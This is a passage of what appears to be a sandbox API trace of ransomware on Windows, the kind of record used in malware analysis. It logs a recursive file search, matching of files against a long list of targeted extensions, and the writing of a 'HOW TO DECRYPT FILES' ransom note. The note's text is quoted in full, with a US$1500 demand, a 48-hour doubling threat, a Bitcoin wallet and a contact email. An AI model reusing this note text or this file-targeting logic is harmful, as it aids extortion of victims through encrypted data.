(lpString="*.xlsm") returned 6 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0102.947] lstrlenA (lpString="*.dwg") returned 5 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0102.947] lstrlenA (lpString="*.nd") returned 4 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0102.947] lstrlenA (lpString="*.tlg") returned 5 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0102.947] lstrlenA (lpString="*.lgb") returned 5 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0102.947] lstrlenA (lpString="*.mov") returned 5 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0102.947] lstrlenA (lpString="*.xdw") returned 5 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0102.947] lstrlenA (lpString="*.ods") returned 5 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0102.947] lstrlenA (lpString="*.wav") returned 5 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0102.947] lstrlenA (lpString="*.mp3") returned 5 [0102.947] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0102.948] lstrlenA (lpString="*.aiff") returned 6 [0102.948] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0102.948] lstrlenA (lpString="*.flac") returned 6 [0102.948] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0102.948] lstrlenA (lpString="*.m4a") returned 5 [0102.948] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0102.948] lstrlenA (lpString="*.csv") returned 5 [0102.948] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cb73460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4cb73460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4cb73460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0102.948] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0102.948] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ec05490, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1ec05490, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1ec05490, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="367516b7878af19f5c84c67f2cd277ae", cAlternateFileName="367516~1")) returned 1 [0102.948] lstrcmpA (lpString1=".", lpString2="367516b7878af19f5c84c67f2cd277ae") returned -1 [0102.948] lstrcmpA (lpString1="..", lpString2="367516b7878af19f5c84c67f2cd277ae") returned -1 [0102.948] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0102.948] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="367516b7878af19f5c84c67f2cd277ae" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae" [0102.949] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae") returned 100 [0102.949] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ec05490, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1ec05490, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1ec05490, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.949] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0102.949] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ec05490, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1ec05490, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1ec05490, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.950] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0102.950] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0102.950] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebdf330, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1ebdf330, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1ebdf330, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0102.950] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.950] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll") returned -1 [0102.950] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll") returned -1 [0102.950] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll") returned -1 [0102.950] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\*.*") returned="*.*" [0102.950] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\" [0102.950] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\") returned="" [0102.950] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\HOW TO DECRYPT FILES.txt" [0102.950] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\367516b7878af19f5c84c67f2cd277ae\\how to decrypt files.txt")) returned 0xffffffff [0102.950] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\367516b7878af19f5c84c67f2cd277ae\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0102.954] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0102.954] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0102.956] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0102.956] CloseHandle (hObject=0x90) returned 1 [0102.956] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll" [0102.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0102.956] lstrlenA (lpString="*.ems") returned 5 [0102.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0102.956] lstrlenA (lpString="*.db") returned 4 [0102.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0102.957] lstrlenA (lpString="*.dbf") returned 5 [0102.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0102.957] lstrlenA (lpString="*.myox") returned 6 [0102.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0102.957] lstrlenA (lpString="*.myo") returned 5 [0102.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0102.957] lstrlenA (lpString="*.qbw") returned 5 [0102.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0102.957] lstrlenA (lpString="*.qbb") returned 5 [0102.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0102.957] lstrlenA (lpString="*.qbm") returned 5 [0102.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0102.957] lstrlenA (lpString="*.qbo") returned 5 [0102.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0102.958] lstrlenA (lpString="*.qbx") returned 5 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0102.958] lstrlenA (lpString="*.qba") returned 5 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0102.958] lstrlenA (lpString="*.qby") returned 5 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0102.958] lstrlenA (lpString="*.qbj") returned 5 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0102.958] lstrlenA (lpString="*.ofx") returned 5 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0102.958] lstrlenA (lpString="*.qif") returned 5 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0102.958] lstrlenA (lpString="*.mye") returned 5 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0102.958] lstrlenA (lpString="*.mbox") returned 6 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0102.958] lstrlenA (lpString="*.eml") returned 5 [0102.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0102.959] lstrlenA (lpString="*.pst") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0102.959] lstrlenA (lpString="*.ost") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0102.959] lstrlenA (lpString="*.idx") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0102.959] lstrlenA (lpString="*.dbx") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0102.959] lstrlenA (lpString="*.sql") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0102.959] lstrlenA (lpString="*.mdb") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0102.959] lstrlenA (lpString="*.fdb") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0102.959] lstrlenA (lpString="*.wab") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0102.959] lstrlenA (lpString="*.dat") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0102.959] lstrlenA (lpString="*.txt") returned 5 [0102.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0102.960] lstrlenA (lpString="*.jpeg") returned 6 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0102.960] lstrlenA (lpString="*.jpg") returned 5 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0102.960] lstrlenA (lpString="*.png") returned 5 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0102.960] lstrlenA (lpString="*.php") returned 5 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0102.960] lstrlenA (lpString="*.cs") returned 4 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0102.960] lstrlenA (lpString="*.cpp") returned 5 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0102.960] lstrlenA (lpString="*.rar") returned 5 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0102.960] lstrlenA (lpString="*.zip") returned 5 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0102.960] lstrlenA (lpString="*.html") returned 6 [0102.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0102.961] lstrlenA (lpString="*.htm") returned 5 [0102.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0102.961] lstrlenA (lpString="*.xlsx") returned 6 [0102.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0102.961] lstrlenA (lpString="*.xls") returned 5 [0102.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0102.961] lstrlenA (lpString="*.mp4") returned 5 [0102.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0102.961] lstrlenA (lpString="*.ppt") returned 5 [0102.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0102.961] lstrlenA (lpString="*.pptx") returned 6 [0102.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0102.961] lstrlenA (lpString="*.doc") returned 5 [0102.961] PathMatchSpecA 